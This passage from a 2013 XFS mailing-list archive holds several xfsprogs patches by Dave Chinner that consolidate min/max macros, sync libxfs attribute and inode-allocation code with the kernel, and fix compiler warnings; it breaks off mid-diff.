[PATCH 12/55] xfsprogs: define min/max once and use them everywhere. Message-Id: <1378332359-14737-13-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333311 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- include/libxfs.h | 1 - include/platform_defs.h.in | 5 +++++ io/init.h | 3 --- libxfs/rdwr.c | 1 - 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index bd74ca5..e776211 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -72,7 +72,6 @@ #define __round_mask(x, y) ((__typeof__(x))((y)-1)) #define round_up(x, y) ((((x)-1) | __round_mask(x, y))+1) #define round_down(x, y) ((x) & ~__round_mask(x, y)) -#define min(a,b) ((a) < (b) ? (a) : (b)) /* * Argument structure for libxfs_init(). diff --git a/include/platform_defs.h.in b/include/platform_defs.h.in index 3c0106e..ac260bc 100644 --- a/include/platform_defs.h.in +++ b/include/platform_defs.h.in @@ -173,4 +173,9 @@ typedef unsigned short umode_t; #define __arch_pack #endif +#ifndef min +#define min(a,b) (((a)<(b))?(a):(b)) +#define max(a,b) (((a)>(b))?(a):(b)) +#endif + #endif /* __XFS_PLATFORM_DEFS_H__ */ diff --git a/io/init.h b/io/init.h index 1dac211..d773b1b 100644 --- a/io/init.h +++ b/io/init.h @@ -26,7 +26,4 @@ extern int expert; extern size_t pagesize; extern struct timeval stopwatch; -#define min(a,b) (((a)<(b))?(a):(b)) -#define max(a,b) (((a)>(b))?(a):(b)) - extern void init_cvtnum(size_t *blocksize, size_t *sectsize); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index c679f81..93beb23 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -22,7 +22,6 @@ #include "init.h" #define BDSTRAT_SIZE (256 * 1024) -#define min(x, y) ((x) < (y) ? (x) : (y)) #define IO_BCOMPARE_CHECK -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1CBF029E97 for ; Wed, 4 Sep 2013 17:21:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0CAF3304039 for ; Wed, 4 Sep 2013 15:21:53 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0011-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id yR2ClqvOkKYynOYj for ; Wed, 04 Sep 2013 15:21:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2j32EBwOpW4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007cw-Kr for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003rq-KI for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/55] libxfs: sync attr code with kernel Date: Thu, 5 Sep 2013 08:05:13 +1000 X-ASG-Orig-Subj: [PATCH 09/55] libxfs: sync attr code with kernel Message-Id: <1378332359-14737-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333312 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- libxfs/xfs_attr.c | 6 +++--- libxfs/xfs_attr_leaf.c | 7 +++---- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/libxfs/xfs_attr.c b/libxfs/xfs_attr.c index 6ef7809..c96083e 100644 --- a/libxfs/xfs_attr.c +++ b/libxfs/xfs_attr.c @@ -65,7 +65,7 @@ xfs_attr_name_to_xname( return 0; } -STATIC int +int xfs_inode_hasattr( struct xfs_inode *ip) { @@ -268,7 +268,6 @@ xfs_attr_set_int( if (rsvd) args.trans->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(args.trans, args.total, XFS_ATTRSETM_LOG_RES(mp) + XFS_ATTRSETRT_LOG_RES(mp) * args.total, @@ -587,6 +586,7 @@ xfs_attr_remove( return xfs_attr_remove_int(dp, &xname, flags); } + /*======================================================================== * External routines when attribute list is inside the inode *========================================================================*/ @@ -854,7 +854,7 @@ xfs_attr_leaf_removename(xfs_da_args_t *args) error = xfs_attr3_leaf_lookup_int(bp, args); if (error == ENOATTR) { xfs_trans_brelse(args->trans, bp); - return(error); + return error; } xfs_attr3_leaf_remove(bp, args); diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index 4e2951b..49a1764 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -51,7 +51,6 @@ STATIC int xfs_attr3_leaf_figure_balance(xfs_da_state_t *state, int *number_entries_in_blk1, int *number_usedbytes_in_blk1); - /* * Utility routines. */ @@ -1120,7 +1119,6 @@ xfs_attr3_leaf_add_work( struct xfs_attr_leaf_entry *entry; struct xfs_attr_leaf_name_local *name_loc; struct xfs_attr_leaf_name_remote *name_rmt; - struct xfs_attr_leaf_map *map; struct xfs_mount *mp; int tmp; int i; @@ -1219,7 +1217,7 @@ xfs_attr3_leaf_add_work( tmp = (ichdr->count - 1) * sizeof(xfs_attr_leaf_entry_t) + xfs_attr3_leaf_hdr_size(leaf); - for (i = 0; i < XFS_ATTR_LEAF_MAPSIZE; map++, i++) { + for (i = 0; i < XFS_ATTR_LEAF_MAPSIZE; i++) { if (ichdr->freemap[i].base == tmp) { ichdr->freemap[i].base += sizeof(xfs_attr_leaf_entry_t); ichdr->freemap[i].size -= sizeof(xfs_attr_leaf_entry_t); @@ -2337,7 +2335,7 @@ xfs_attr3_leaf_moveents( * Move the remaining entries down to fill the hole, * then zero the entries at the top. */ - tmp = (ichdr_s->count - count) - sizeof(xfs_attr_leaf_entry_t); + tmp = (ichdr_s->count - count) * sizeof(xfs_attr_leaf_entry_t); entry_s = &xfs_attr3_leaf_entryp(leaf_s)[start_s + count]; entry_d = &xfs_attr3_leaf_entryp(leaf_s)[start_s]; memmove(entry_d, entry_s, tmp); @@ -2431,6 +2429,7 @@ xfs_attr_leaf_newentsize(int namelen, int valuelen, int blocksize, int *local) return size; } + /*======================================================================== * Manage the INCOMPLETE flag in a leaf entry *========================================================================*/ -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6148629E8C for ; Wed, 4 Sep 2013 17:21:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 353D2304039 for ; Wed, 4 Sep 2013 15:21:54 -0700 (PDT) X-ASG-Debug-ID: 1378333309-04bdf02f22d82960003-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id GXLViMDIclldvsoJ for ; Wed, 04 Sep 2013 15:21:52 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:48 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007d0-MV for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003s0-Lm for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 11/55] libxfs: sync xfs_ialloc.c to the kernel code Date: Thu, 5 Sep 2013 08:05:15 +1000 X-ASG-Orig-Subj: [PATCH 11/55] libxfs: sync xfs_ialloc.c to the kernel code Message-Id: <1378332359-14737-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333312 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner include the missing xfs_difree() function. it's not used by userspace, but it makes no sense to have just this one arbitrary difference between the kernel and userspace files. Signed-off-by: Dave Chinner --- libxfs/xfs.h | 1 + libxfs/xfs_ialloc.c | 186 +++++++++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 177 insertions(+), 10 deletions(-) diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 15e82d7..3fd226c 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -208,6 +208,7 @@ roundup_pow_of_two(uint v) #define XFS_MOUNT_SMALL_INUMS 0 /* ignored in userspace */ #define XFS_MOUNT_WSYNC 0 /* ignored in userspace */ #define XFS_MOUNT_NOALIGN 0 /* ignored in userspace */ +#define XFS_MOUNT_IKEEP 0 /* ignored in userspace */ #define xfs_icsb_modify_counters(mp, field, delta, rsvd) \ xfs_mod_incore_sb(mp, field, delta, rsvd) diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 48916dd..98513fd 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -314,7 +314,7 @@ xfs_ialloc_ag_alloc( * First try to allocate inodes contiguous with the last-allocated * chunk of inodes. If the filesystem is striped, this will fill * an entire stripe unit with inodes. - */ + */ agi = XFS_BUF_TO_AGI(agbp); newino = be32_to_cpu(agi->agi_newino); agno = be32_to_cpu(agi->agi_seqno); @@ -324,8 +324,6 @@ xfs_ialloc_ag_alloc( (args.agbno < be32_to_cpu(agi->agi_length)))) { args.fsbno = XFS_AGB_TO_FSB(args.mp, agno, args.agbno); args.type = XFS_ALLOCTYPE_THIS_BNO; - args.mod = args.total = args.wasdel = args.isfl = - args.userdata = args.minalignslop = 0; args.prod = 1; /* @@ -378,8 +376,6 @@ xfs_ialloc_ag_alloc( * Allocate a fixed-size extent of inodes. */ args.type = XFS_ALLOCTYPE_NEAR_BNO; - args.mod = args.total = args.wasdel = args.isfl = - args.userdata = args.minalignslop = 0; args.prod = 1; /* * Allow space for the inode btree to split. @@ -630,8 +626,7 @@ xfs_ialloc_get_rec( struct xfs_btree_cur *cur, xfs_agino_t agino, xfs_inobt_rec_incore_t *rec, - int *done, - int left) + int *done) { int error; int i; @@ -739,12 +734,12 @@ xfs_dialloc_ag( pag->pagl_leftrec != NULLAGINO && pag->pagl_rightrec != NULLAGINO) { error = xfs_ialloc_get_rec(tcur, pag->pagl_leftrec, - &trec, &doneleft, 1); + &trec, &doneleft); if (error) goto error1; error = xfs_ialloc_get_rec(cur, pag->pagl_rightrec, - &rec, &doneright, 0); + &rec, &doneright); if (error) goto error1; } else { @@ -1074,6 +1069,177 @@ out_error: return XFS_ERROR(error); } +/* + * Free disk inode. Carefully avoids touching the incore inode, all + * manipulations incore are the caller's responsibility. + * The on-disk inode is not changed by this operation, only the + * btree (free inode mask) is changed. + */ +int +xfs_difree( + xfs_trans_t *tp, /* transaction pointer */ + xfs_ino_t inode, /* inode to be freed */ + xfs_bmap_free_t *flist, /* extents to free */ + int *delete, /* set if inode cluster was deleted */ + xfs_ino_t *first_ino) /* first inode in deleted cluster */ +{ + /* REFERENCED */ + xfs_agblock_t agbno; /* block number containing inode */ + xfs_buf_t *agbp; /* buffer containing allocation group header */ + xfs_agino_t agino; /* inode number relative to allocation group */ + xfs_agnumber_t agno; /* allocation group number */ + xfs_agi_t *agi; /* allocation group header */ + xfs_btree_cur_t *cur; /* inode btree cursor */ + int error; /* error return value */ + int i; /* result code */ + int ilen; /* inodes in an inode cluster */ + xfs_mount_t *mp; /* mount structure for filesystem */ + int off; /* offset of inode in inode chunk */ + xfs_inobt_rec_incore_t rec; /* btree record */ + struct xfs_perag *pag; + + mp = tp->t_mountp; + + /* + * Break up inode number into its components. + */ + agno = XFS_INO_TO_AGNO(mp, inode); + if (agno >= mp->m_sb.sb_agcount) { + xfs_warn(mp, "%s: agno >= mp->m_sb.sb_agcount (%d >= %d).", + __func__, agno, mp->m_sb.sb_agcount); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agino = XFS_INO_TO_AGINO(mp, inode); + if (inode != XFS_AGINO_TO_INO(mp, agno, agino)) { + xfs_warn(mp, "%s: inode != XFS_AGINO_TO_INO() (%llu != %llu).", + __func__, (unsigned long long)inode, + (unsigned long long)XFS_AGINO_TO_INO(mp, agno, agino)); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + agbno = XFS_AGINO_TO_AGBNO(mp, agino); + if (agbno >= mp->m_sb.sb_agblocks) { + xfs_warn(mp, "%s: agbno >= mp->m_sb.sb_agblocks (%d >= %d).", + __func__, agbno, mp->m_sb.sb_agblocks); + ASSERT(0); + return XFS_ERROR(EINVAL); + } + /* + * Get the allocation group header. + */ + error = xfs_ialloc_read_agi(mp, tp, agno, &agbp); + if (error) { + xfs_warn(mp, "%s: xfs_ialloc_read_agi() returned error %d.", + __func__, error); + return error; + } + agi = XFS_BUF_TO_AGI(agbp); + ASSERT(agi->agi_magicnum == cpu_to_be32(XFS_AGI_MAGIC)); + ASSERT(agbno < be32_to_cpu(agi->agi_length)); + /* + * Initialize the cursor. + */ + cur = xfs_inobt_init_cursor(mp, tp, agbp, agno); + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error0; + + /* + * Look for the entry describing this inode. + */ + if ((error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_LE, &i))) { + xfs_warn(mp, "%s: xfs_inobt_lookup() returned error %d.", + __func__, error); + goto error0; + } + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + error = xfs_inobt_get_rec(cur, &rec, &i); + if (error) { + xfs_warn(mp, "%s: xfs_inobt_get_rec() returned error %d.", + __func__, error); + goto error0; + } + XFS_WANT_CORRUPTED_GOTO(i == 1, error0); + /* + * Get the offset in the inode chunk. + */ + off = agino - rec.ir_startino; + ASSERT(off >= 0 && off < XFS_INODES_PER_CHUNK); + ASSERT(!(rec.ir_free & XFS_INOBT_MASK(off))); + /* + * Mark the inode free & increment the count. + */ + rec.ir_free |= XFS_INOBT_MASK(off); + rec.ir_freecount++; + + /* + * When an inode cluster is free, it becomes eligible for removal + */ + if (!(mp->m_flags & XFS_MOUNT_IKEEP) && + (rec.ir_freecount == XFS_IALLOC_INODES(mp))) { + + *delete = 1; + *first_ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino); + + /* + * Remove the inode cluster from the AGI B+Tree, adjust the + * AGI and Superblock inode counts, and mark the disk space + * to be freed when the transaction is committed. + */ + ilen = XFS_IALLOC_INODES(mp); + be32_add_cpu(&agi->agi_count, -ilen); + be32_add_cpu(&agi->agi_freecount, -(ilen - 1)); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_COUNT | XFS_AGI_FREECOUNT); + pag = xfs_perag_get(mp, agno); + pag->pagi_freecount -= ilen - 1; + xfs_perag_put(pag); + xfs_trans_mod_sb(tp, XFS_TRANS_SB_ICOUNT, -ilen); + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, -(ilen - 1)); + + if ((error = xfs_btree_delete(cur, &i))) { + xfs_warn(mp, "%s: xfs_btree_delete returned error %d.", + __func__, error); + goto error0; + } + + xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, + agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), + XFS_IALLOC_BLOCKS(mp), flist, mp); + } else { + *delete = 0; + + error = xfs_inobt_update(cur, &rec); + if (error) { + xfs_warn(mp, "%s: xfs_inobt_update returned error %d.", + __func__, error); + goto error0; + } + + /* + * Change the inode free counts and log the ag/sb changes. + */ + be32_add_cpu(&agi->agi_freecount, 1); + xfs_ialloc_log_agi(tp, agbp, XFS_AGI_FREECOUNT); + pag = xfs_perag_get(mp, agno); + pag->pagi_freecount++; + xfs_perag_put(pag); + xfs_trans_mod_sb(tp, XFS_TRANS_SB_IFREE, 1); + } + + error = xfs_check_agi_freecount(cur, agi); + if (error) + goto error0; + + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +error0: + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + STATIC int xfs_imap_lookup( struct xfs_mount *mp, @@ -1153,7 +1319,7 @@ xfs_imap( xfs_agblock_t cluster_agbno; /* first block in inode cluster */ int error; /* error code */ int offset; /* index of inode in its buffer */ - xfs_agblock_t offset_agbno; /* blks from chunk start to inode */ + int offset_agbno; /* blks from chunk start to inode */ ASSERT(ino != NULLFSINO); -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9390A29EA4 for ; Wed, 4 Sep 2013 17:21:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 849A1304039 for ; Wed, 4 Sep 2013 15:21:55 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f0012-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Md5NG67rjEmM3iIB for ; Wed, 04 Sep 2013 15:21:53 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:50 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007d6-Nw for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sA-NI for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 13/55] libxfs: fix compile warnings Date: Thu, 5 Sep 2013 08:05:17 +1000 X-ASG-Orig-Subj: [PATCH 13/55] libxfs: fix compile warnings Message-Id: <1378332359-14737-14-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333313 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Some of the code shared with userspace causes compilation warnings from things turned off in the kernel code, such as differences in variable signedness. Fix those issues. Signed-off-by: Dave Chinner --- copy/xfs_copy.c | 12 ++++++++++-- db/bmroot.c | 6 +++--- libxfs/xfs.h | 8 +++++++- libxfs/xfs_attr_remote.c | 8 ++++---- libxfs/xfs_bmap.c | 3 --- libxfs/xfs_da_btree.c | 6 +++--- libxfs/xfs_dir2_node.c | 2 ++ libxfs/xfs_ialloc.c | 2 +- libxfs/xfs_rtalloc.c | 4 ++-- repair/attr_repair.c | 2 ++ repair/incore_ino.c | 2 ++ repair/scan.c | 1 + 12 files changed, 37 insertions(+), 19 deletions(-) diff --git a/copy/xfs_copy.c b/copy/xfs_copy.c index 39517da..bb37279 100644 --- a/copy/xfs_copy.c +++ b/copy/xfs_copy.c @@ -434,6 +434,10 @@ read_ag_header(int fd, xfs_agnumber_t agno, wbuf *buf, ag_header_t *ag, off = XFS_AG_DADDR(mp, agno, XFS_SB_DADDR); buf->position = (xfs_off_t) off * (xfs_off_t) BBSIZE; length = buf->length = first_agbno * blocksize; + if (length == 0) { + do_log(_("ag header buffer invalid!\n")); + exit(1); + } /* handle alignment stuff */ @@ -449,7 +453,6 @@ read_ag_header(int fd, xfs_agnumber_t agno, wbuf *buf, ag_header_t *ag, if (buf->length % buf->min_io_size != 0) buf->length = roundup(buf->length, buf->min_io_size); - ASSERT(length != 0); read_wbuf(fd, buf, mp); ASSERT(buf->length >= length); @@ -936,7 +939,12 @@ main(int argc, char **argv) for (;;) { /* none of this touches the w_buf buffer */ - ASSERT(current_level < btree_levels); + if (current_level >= btree_levels) { + do_log( + _("Error: current level %d >= btree levels %d\n"), + current_level, btree_levels); + exit(1); + } current_level++; diff --git a/db/bmroot.c b/db/bmroot.c index 3e18917..12b129e 100644 --- a/db/bmroot.c +++ b/db/bmroot.c @@ -91,13 +91,13 @@ bmroota_key_offset( int idx) { xfs_bmdr_block_t *block; - /* REFERENCED */ - xfs_dinode_t *dip; +#ifdef DEBUG + xfs_dinode_t *dip = obj; +#endif xfs_bmdr_key_t *kp; ASSERT(bitoffs(startoff) == 0); ASSERT(obj == iocur_top->data); - dip = obj; block = (xfs_bmdr_block_t *)((char *)obj + byteize(startoff)); ASSERT(XFS_DFORK_Q(dip) && (char *)block == XFS_DFORK_APTR(dip)); ASSERT(be16_to_cpu(block->bb_level) > 0); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 3fd226c..c9d6a6d 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -189,7 +189,9 @@ roundup_pow_of_two(uint v) /* avoid gcc warning */ #define xfs_incore(bt,blkno,len,lockit) ({ \ typeof(blkno) __foo = (blkno); \ + typeof(len) __bar = (len); \ (blkno) = __foo; \ + (len) = __bar; /* no set-but-unused warning */ \ NULL; \ }) #define xfs_buf_relse(bp) libxfs_putbuf(bp) @@ -259,7 +261,11 @@ roundup_pow_of_two(uint v) #define xfs_trans_agblocks_delta(tp, d) #define xfs_trans_agflist_delta(tp, d) #define xfs_trans_agbtree_delta(tp, d) -#define xfs_trans_buf_set_type(tp, bp, t) +#define xfs_trans_buf_set_type(tp, bp, t) ({ \ + int __t = (t); \ + __t = __t; /* no set-but-unused warning */ \ +}) + #define xfs_trans_buf_copy_type(dbp, sbp) #define xfs_buf_readahead(a,b,c,ops) ((void) 0) /* no readahead */ diff --git a/libxfs/xfs_attr_remote.c b/libxfs/xfs_attr_remote.c index 0b2ca8c..59bb12d 100644 --- a/libxfs/xfs_attr_remote.c +++ b/libxfs/xfs_attr_remote.c @@ -214,7 +214,7 @@ xfs_attr_rmtval_copyout( xfs_ino_t ino, int *offset, int *valuelen, - char **dst) + __uint8_t **dst) { char *src = bp->b_addr; xfs_daddr_t bno = bp->b_bn; @@ -261,7 +261,7 @@ xfs_attr_rmtval_copyin( xfs_ino_t ino, int *offset, int *valuelen, - char **src) + __uint8_t **src) { char *dst = bp->b_addr; xfs_daddr_t bno = bp->b_bn; @@ -314,7 +314,7 @@ xfs_attr_rmtval_get( struct xfs_mount *mp = args->dp->i_mount; struct xfs_buf *bp; xfs_dablk_t lblkno = args->rmtblkno; - char *dst = args->value; + __uint8_t *dst = args->value; int valuelen = args->valuelen; int nmap; int error; @@ -378,7 +378,7 @@ xfs_attr_rmtval_set( struct xfs_bmbt_irec map; xfs_dablk_t lblkno; xfs_fileoff_t lfileoff = 0; - char *src = args->value; + __uint8_t *src = args->value; int blkcnt; int valuelen; int nmap; diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 6664265..b7f798b 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -4437,12 +4437,9 @@ xfs_bmapi_allocate( struct xfs_ifork *ifp = XFS_IFORK_PTR(bma->ip, whichfork); int tmp_logflags = 0; int error; - int rt; ASSERT(bma->length > 0); - rt = (whichfork == XFS_DATA_FORK) && XFS_IS_REALTIME_INODE(bma->ip); - /* * For the wasdelay case, we could also just allocate the stuff asked * for in this bmap call but that wouldn't be as good. diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index d7798af..b7b6705 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -376,7 +376,7 @@ xfs_da3_split( struct xfs_da_intnode *node; struct xfs_buf *bp; int max; - int action; + int action = 0; int error; int i; @@ -2431,9 +2431,9 @@ static int xfs_buf_map_from_irec( struct xfs_mount *mp, struct xfs_buf_map **mapp, - unsigned int *nmaps, + int *nmaps, struct xfs_bmbt_irec *irecs, - unsigned int nirecs) + int nirecs) { struct xfs_buf_map *map; int i; diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index fea0131..030f620 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -295,11 +295,13 @@ xfs_dir2_free_log_header( struct xfs_trans *tp, struct xfs_buf *bp) { +#ifdef DEBUG xfs_dir2_free_t *free; /* freespace structure */ free = bp->b_addr; ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); +#endif xfs_trans_log_buf(tp, bp, 0, xfs_dir3_free_hdr_size(tp->t_mountp) - 1); } diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 98513fd..4683287 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1319,7 +1319,7 @@ xfs_imap( xfs_agblock_t cluster_agbno; /* first block in inode cluster */ int error; /* error code 